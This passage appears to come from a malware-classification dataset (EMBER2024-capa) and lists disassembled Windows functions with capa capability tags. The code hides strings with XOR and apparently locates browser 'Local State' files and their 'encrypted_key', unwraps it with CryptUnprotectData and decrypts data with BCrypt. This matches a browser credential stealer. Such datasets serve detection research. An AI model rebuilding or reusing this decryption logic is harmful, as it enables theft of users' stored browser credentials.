joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000d44c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rbx, rcx
lea rcx, [rbp - 0x18]
call fcn.14001081c
lea rcx, [rbp + 0x18]
call fcn.14000aa04
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.1400129a8
test eax, eax
jne 0x14000d555
lea ecx, [rax + 0x18]
mov dword [rbp - 0x30], 0x550031
mov dword [rbp - 0x2c], 0x61007a
lea edi, [rax + 0x13]
mov dword [rbp - 0x28], 0x750076
mov dword [rbp - 0x24], 0x6b007c
mov dword [rbp - 0x20], 0x290031
mov dword [rbp - 0x1c], 0x130048
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rdi - 7]
movzx ecx, word [r9 + rdx]
xor cx, di
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000d4ca
mov rdx, rax
mov rcx, rbx
call fcn.140001970
mov edi, 0x10
jmp 0x14000d525
lea rdx, str._url_:_
call fcn.140001970
mov rdx, qword [rbp - 0x40]
mov rcx, rbx
call fcn.1400019fc
mov rcx, qword [rbp - 0x40]
call fcn.140002480
mov r8d, dword [rbp - 0x38]
lea rdx, str.___ts_:_lu_
mov rcx, rbx
call fcn.140001a50
mov r8, rdi
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x18]
call fcn.140010854
mov rcx, rbx
test eax, eax
je 0x14000d4f1
mov edx, 0x2c
call fcn.140001a9c
lea rdx, [0x140014e3c]
mov rcx, rbx
call fcn.140001970
lea rcx, [rbp - 0x18]
call fcn.140010810
lea r11, [rsp + 0x60]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x14000ec84
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x710031
mov dword [rbp - 0x2c], 0x7c0061
mov dword [rbp - 0x28], 0x600064
mov dword [rbp - 0x24], 0x610076
lea ecx, [rbx + 0x17]
mov dword [rbp - 0x20], 0x52004c
mov dword [rbp - 0x1c], 0x670066
mov dword [rbp - 0x18], 0x55007c
mov dword [rbp - 0x14], 0x7f007a
mov dword [rbp - 0x10], 0x31007f
mov dword [rbp - 0xc], 0x680029
mov word [rbp - 8], bx
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000ecf6
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x14000ed18
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x430031
mov dword [rbp - 0x1c], 0x7c0061
mov dword [rbp - 0x18], 0x7a0075
mov dword [rbp - 0x14], 0x76007f
lea ecx, [rbx + 7]
mov dword [rbp - 0x10], 0x310060
mov dword [rbp - 0xc], 0x480029
mov word [rbp - 8], bx
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 6]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000ed6e
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x14000ed90
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x46004f
mov dword [rbp - 0x2c], 0x760060
mov dword [rbp - 0x28], 0x330061
mov dword [rbp - 0x24], 0x720057
lea ecx, [rbx + 0x1b]
mov dword [rbp - 0x20], 0x720067
mov dword [rbp - 0x1c], 0x5f004f
mov dword [rbp - 0x18], 0x70007c
mov dword [rbp - 0x14], 0x7f0072
mov dword [rbp - 0x10], 0x400033
mov dword [rbp - 0xc], 0x720067
mov dword [rbp - 8], 0x760067
mov word [rbp - 4], bx
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000ee09
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x14000ee2c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x500031
mov dword [rbp - 0x1c], 0x760061
mov dword [rbp - 0x18], 0x7a0077
mov dword [rbp - 0x14], 0x500067
lea ecx, [rbx + 0xd]
mov dword [rbp - 0x10], 0x610072
mov dword [rbp - 0xc], 0x600077
mov dword [rbp - 8], 0x290031
mov dword [rbp - 4], 0x130048
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000ee8c
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x14000f4cc
Capabilities:
Check if file exists
Get file size
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xd0
mov r15, rdx
mov byte [rsp + 0x40], 0x88
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
mov ecx, 1
movsxd rdx, eax
call fcn.140002454
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
and qword [rsp + 0x38], 0
or r9d, 0xffffffff
and qword [rsp + 0x30], 0
mov r8, rbx
mov dword [rsp + 0x28], eax
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14000f607
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_OpenFile]
movsxd rsi, eax
cmp rsi, 0xffffffffffffffff
je 0x14000f607
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp eax, 0xffffffff
je 0x14000f607
lea ecx, [rbx + 1]
call fcn.1400024a8
mov rbp, rax
test rax, rax
je 0x14000f607
and qword [rsp + 0x28], 0
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r14, rax
test rax, rax
je 0x14000f607
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r8d, ebx
mov rcx, rbp
mov rdx, rax
mov rdi, rax
call fcn.1400024f8
mov rcx, rdi
mov byte [rbx + rbp], 0
mov qword [r15], rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbp
jmp 0x14000f609
xor eax, eax
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x14000f628
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x7b0050
mov dword [rbp - 0x1c], 0x7a0072
mov dword [rbp - 0x18], 0x7a007d
mov dword [rbp - 0x14], 0x74007d
lea ecx, [rbx + 7]
mov dword [rbp - 0x10], 0x7c005e
mov dword [rbp - 0xc], 0x760077
mov word [rbp - 8], bx
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 6]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000f67e
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x14000f6a0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x7b0050
mov dword [rbp - 0x1c], 0x7a0072
mov dword [rbp - 0x18], 0x7a007d
mov dword [rbp - 0x14], 0x74007d
lea ecx, [rbx + 0xd]
mov dword [rbp - 0x10], 0x7c005e
mov dword [rbp - 0xc], 0x760077
mov dword [rbp - 8], 0x500054
mov dword [rbp - 4], 0x13005e
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000f700
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x14000f720
Capabilities:
Encode data using xor
Encrypt or decrypt data via bcrypt

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rdi, rcx
movsxd rsi, r8d
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x49], 0x560052
mov r15, r9
mov dword [rbp - 0x45], 0x130040
mov r14, rdx
lea ecx, [rbx - 0xb]
call fcn.14000257c
lea r8, [rbp - 0x49]
mov rdx, rax
sub r8, rax
lea r9d, [rbx - 0xf]
movzx ecx, word [r8 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r9, 1
jne 0x14000f76d
xor r8d, r8d
lea rcx, [rbp - 0x41]
mov rdx, rax
call sub.ncrypt.dll_BCryptOpenAlgorithmProvider
test eax, eax
jne 0x14000f7c4
lea rcx, [rbp + 0x77]
call fcn.14000f6a0
lea rcx, [rbp + 0x77]
mov rbx, rax
call fcn.14000f628
mov rcx, qword [rbp - 0x41]
mov rdx, rax
and dword [rsp + 0x20], 0
mov r9d, 0x20
mov r8, rbx
call sub.ncrypt.dll_BCryptSetProperty
and dword [rsp + 0x30], 0
lea rdx, [rbp - 0x39]
mov rcx, qword [rbp - 0x41]
xor r9d, r9d
mov dword [rsp + 0x28], 0x100
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call sub.ncrypt.dll_BCryptGenerateSymmetricKey
and dword [rbp + 0x6f], 0
mov rcx, rsi
call fcn.14000257c
xor edx, edx
lea rcx, [rbp - 0x29]
mov rdi, rax
lea r8d, [rdx + 0x58]
call fcn.140002420
and dword [rsp + 0x48], 0
lea rcx, [r14 + 3]
mov qword [rbp - 0x21], rcx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x40], rax
lea rcx, [r14 - 0x10]
add rcx, rsi
mov dword [rsp + 0x38], esi
mov qword [rbp - 1], rcx
lea r8d, [rsi - 0x1f]
mov rcx, qword [rbp - 0x39]
lea rdx, [r14 + 0xf]
mov qword [rsp + 0x30], rdi
lea r9, [rbp - 0x29]
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov dword [rbp - 0x29], 0x58
mov dword [rbp - 0x25], 1
mov dword [rbp - 0x19], 0xc
mov dword [rbp + 7], 0x10
call sub.ncrypt.dll_BCryptDecrypt
mov ecx, dword [rbp + 0x6f]
mov rdx, rdi
mov byte [rcx + rdi], 0
mov rcx, r15
mov r8d, dword [rbp + 0x6f]
inc r8d
call fcn.1400024f8
mov rcx, rdi
call fcn.140002480
mov rbx, qword [rsp + 0x100]
mov eax, 1
add rsp, 0xd0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000f8ac
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x20], rcx
mov ebx, 0xc
mov ecx, ebx
mov dword [rbp - 0x28], edx
mov rdi, r8
mov dword [rbp - 0x40], 0x636a6170
mov dword [rbp - 0x3c], 0x3d212067
mov dword [rbp - 0x38], 0x137f7f77
call fcn.14000257c
lea r8, [rbp - 0x40]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x13
mov byte [rdx], cl
inc rdx
sub rbx, 1
jne 0x14000f8fb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movdqa xmm0, xmmword [str.PajcgFcagvpgWrtable]
lea ecx, [rbx + 0x13]
movdqu xmmword [rbp - 0x40], xmm0
mov rsi, rax
mov word [rbp - 0x30], 0x7267
mov byte [rbp - 0x2e], 0x13
call fcn.14000257c
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0x13]
mov cl, byte [r9 + rdx]
xor cl, 0x13
mov byte [rdx], cl
inc rdx
sub r8, 1
jne 0x14000f946
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rax, [rbp - 0x18]
xor esi, esi
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x28]
mov dword [rsp + 0x28], esi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call rbx
test eax, eax
je 0x14000f9c3
mov r8d, dword [rbp - 0x18]
test r8d, r8d
je 0x14000f9bb
mov r9, qword [rbp - 0x10]
mov rdx, rdi
sub r9, rdi
mov r10d, r8d
mov cl, byte [r9 + rdx]
mov byte [rdx], cl
inc rdx
sub r10, 1
jne 0x14000f9ac
mov byte [r8 + rdi], sil
mov al, 1
jmp 0x14000f9c5
xor al, al
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14000f9e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rax, rdx
mov r15, rcx
mov rcx, rax
lea rdx, [rbp - 8]
call fcn.14000f4cc
mov qword [rbp - 0x10], rax
test rax, rax
je 0x14000fb10
mov rcx, qword [rbp - 8]
call fcn.1400024a8
mov r10, qword [rbp - 8]
xor r9d, r9d
mov rbx, rax
test r10, r10
jle 0x14000fa50
mov r8, qword [rbp - 0x10]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
inc r9d
mov byte [rdx], cl
inc rdx
movsxd rax, r9d
cmp rax, r10
jl 0x14000fa3c
mov edi, 0xe
mov dword [rbp - 0x20], 0x61707d76
mov ecx, edi
mov dword [rbp - 0x1c], 0x7667636a
mov dword [rbp - 0x18], 0x76784c77
mov word [rbp - 0x14], 0x136a
call fcn.14000257c
lea r8, [rbp - 0x20]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x13
mov byte [rdx], cl
inc rdx
sub rdi, 1
jne 0x14000fa81
mov rdx, rax
mov rcx, rbx
call fcn.140007a48
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x14000fb10
mov rcx, qword [rbp - 8]
call fcn.1400024a8
mov rcx, qword [rbp - 8]
xor r8d, r8d
sub rcx, rsi
mov rdi, rax
sub rcx, 0x10
mov rax, rsi
test rcx, rcx
jle 0x14000fae7
sub rax, rdi
mov rdx, rdi
lea r9, [rax + rbx]
mov al, byte [r9 + rdx + 0x10]
inc r8d
mov byte [rdx], al
inc rdx
movsxd rax, r8d
cmp rax, rcx
jl 0x14000fad2
movsxd r14, r8d
mov rcx, rbx
mov byte [r14 + rdi], 0
call fcn.140002480
xor esi, esi
test r14, r14
jle 0x14000fb10
xor eax, eax
cmp byte [rax + rdi], 0x22
je 0x14000fb2e
inc esi
inc rax
cmp rax, r14
jl 0x14000fb00
mov eax, 1
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
ret
cmp esi, 0xffffffff
je 0x14000fb10
movsxd r14, esi
mov rcx, rdi
mov byte [r14 + rdi], 0
call fcn.140007564
mov rcx, rdi
mov rbx, rax
call fcn.140002480
and qword [rbp + 0x30], 0
lea rdx, [r14 + 1]
lea r8, [rbp + 0x30]
mov rcx, rbx
call fcn.140009b0c
mov rcx, rbx
mov rdi, rax
call fcn.140002480
lea rcx, [r14 - 5]
call fcn.14000257c
mov r10, rax
cmp r14, 5
jle 0x14000fba0
mov r9, rax
lea r8, [rdi + 5]
sub r9, rdi
mov cl, byte [r8]
mov byte [r9 + r8 - 5], cl
inc r8
mov rax, r8
sub rax, rdi
cmp rax, r14
jl 0x14000fb8a
mov r8, r15
lea edx, [rsi - 5]
mov rcx, r10
call fcn.14000f8ac
mov rcx, rdi
call fcn.140002480
mov rcx, qword [rbp - 0x10]
call fcn.140002480
xor eax, eax
jmp 0x14000fb15
Function at 0x14000fbc8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x40], 0x51004f
mov dword [rbp - 0x3c], 0x720061
mov dword [rbp - 0x38], 0x760065
mov dword [rbp - 0x34], 0x7c0040
lea ecx, [rbx + 0x27]
mov dword [rbp - 0x30], 0x670075
mov dword [rbp - 0x2c], 0x720064
mov dword [rbp - 0x28], 0x760061
mov dword [rbp - 0x24], 0x51004f
mov dword [rbp - 0x20], 0x720061
mov dword [rbp - 0x1c], 0x760065
mov dword [rbp - 0x18], 0x51003e
mov dword [rbp - 0x14], 0x7c0061
mov dword [rbp - 0x10], 0x600064
mov dword [rbp - 0xc], 0x610076
mov word [rbp - 8], bx
call fcn.14000257c
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0xa]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000fc5b
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret

Function at 0x14000fc80
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x66004f
mov dword [rbp - 0x1c], 0x7c0050
mov dword [rbp - 0x18], 0x5e0069
mov dword [rbp - 0x14], 0x770076
lea ecx, [rbx + 0xd]
mov dword [rbp - 0x10], 0x72007a
mov dword [rbp - 0xc], 0x46004f
mov dword [rbp - 8], 0x720061
mov dword [rbp - 4], 0x13007d
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000fce0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x14000fd00
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x40004f
mov dword [rbp - 0x2c], 0x660063
mov dword [rbp - 0x28], 0x7d0067
mov dword [rbp - 0x24], 0x78007a
lea ecx, [rbx + 0xf]
mov dword [rbp - 0x20], 0x40004f
mov dword [rbp - 0x1c], 0x660063
mov dword [rbp - 0x18], 0x7d0067
mov dword [rbp - 0x14], 0x78007a
mov word [rbp - 0x10], bx
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000fd64
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x14000fd84
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x20004f
mov dword [rbp - 0x2c], 0x230025
mov dword [rbp - 0x28], 0x610051
mov dword [rbp - 0x24], 0x64007c
lea ecx, [rbx + 0x15]
mov dword [rbp - 0x20], 0x760060
mov dword [rbp - 0x1c], 0x4f0061
mov dword [rbp - 0x18], 0x610051
mov dword [rbp - 0x14], 0x64007c
mov dword [rbp - 0x10], 0x760060
mov dword [rbp - 0xc], 0x130061
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 1]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000fdf2
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x14000fe14
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x50004f
mov dword [rbp - 0x1c], 0x7e007c
mov dword [rbp - 0x18], 0x77007c
mov dword [rbp - 0x14], 0x4f007c
lea ecx, [rbx + 0xb]
mov dword [rbp - 0x10], 0x610057
mov dword [rbp - 0xc], 0x740072
mov dword [rbp - 8], 0x7d007c
mov word [rbp - 4], bx
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000fe71
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x14000fe94
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x4a004f
mov dword [rbp - 0x2c], 0x7d0072
mov dword [rbp - 0x28], 0x760077
mov dword [rbp - 0x24], 0x4f006b
lea ecx, [rbx + 0x19]
mov dword [rbp - 0x20], 0x72004a
mov dword [rbp - 0x1c], 0x77007d
mov dword [rbp - 0x18], 0x6b0076
mov dword [rbp - 0x14], 0x610051
mov dword [rbp - 0x10], 0x64007c
mov dword [rbp - 0xc], 0x760060
mov dword [rbp - 8], 0x130061
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000ff09
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x14000ff2c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x50004f
mov dword [rbp - 0x1c], 0x70007c
mov dword [rbp - 0x18], 0x7c0050
mov dword [rbp - 0x14], 0x4f0070
lea ecx, [rbx + 0xd]
mov dword [rbp - 0x10], 0x610051
mov dword [rbp - 0xc], 0x64007c
mov dword [rbp - 8], 0x760060
mov dword [rbp - 4], 0x130061
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000ff8c
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x14000ffac
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x5e004f
mov dword [rbp - 0x1c], 0x70007a
mov dword [rbp - 0x18], 0x7c0061
mov dword [rbp - 0x14], 0x7c0060
lea ecx, [rbx + 0xd]
mov dword [rbp - 0x10], 0x670075
mov dword [rbp - 0xc], 0x56004f
mov dword [rbp - 8], 0x740077
mov dword [rbp - 4], 0x130076
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14001000c
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x14001002c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x5e004f
mov dword [rbp - 0x1c], 0x7a0072
mov dword [rbp - 0x18], 0x3d007f
mov dword [rbp - 0x14], 0x660041
lea ecx, [rbx + 9]
mov dword [rbp - 0x10], 0x52004f
mov dword [rbp - 0xc], 0x7c0067
mov dword [rbp - 8], 0x13007e
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 5]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140010085
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x1400100a8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x54004f
mov dword [rbp - 0x2c], 0x7c007c
mov dword [rbp - 0x28], 0x7f0074
mov dword [rbp - 0x24], 0x3b0076
lea ecx, [rbx + 0x15]
mov dword [rbp - 0x20], 0x2b006b
mov dword [rbp - 0x1c], 0x3a0025
mov dword [rbp - 0x18], 0x50004f
mov dword [rbp - 0x14], 0x61007b
mov dword [rbp - 0x10], 0x7e007c
mov dword [rbp - 0xc], 0x130076
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 1]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140010116
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140010138
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x56004f
mov dword [rbp - 0x2c], 0x7a0063
mov dword [rbp - 0x28], 0x330070
mov dword [rbp - 0x24], 0x610043
lea ecx, [rbx + 0x19]
mov dword [rbp - 0x20], 0x65007a
mov dword [rbp - 0x1c], 0x700072
mov dword [rbp - 0x18], 0x33006a
mov dword [rbp - 0x14], 0x610051
mov dword [rbp - 0x10], 0x64007c
mov dword [rbp - 0xc], 0x760060
mov dword [rbp - 8], 0x130061
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400101ad
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x1400101d0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x54004f
mov dword [rbp - 0x1c], 0x7c007c
mov dword [rbp - 0x18], 0x7f0074
mov dword [rbp - 0x14], 0x4f0076
lea ecx, [rbx + 0xb]
mov dword [rbp - 0x10], 0x7b0050
mov dword [rbp - 0xc], 0x7c0061
mov dword [rbp - 8], 0x76007e
mov word [rbp - 4], bx
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
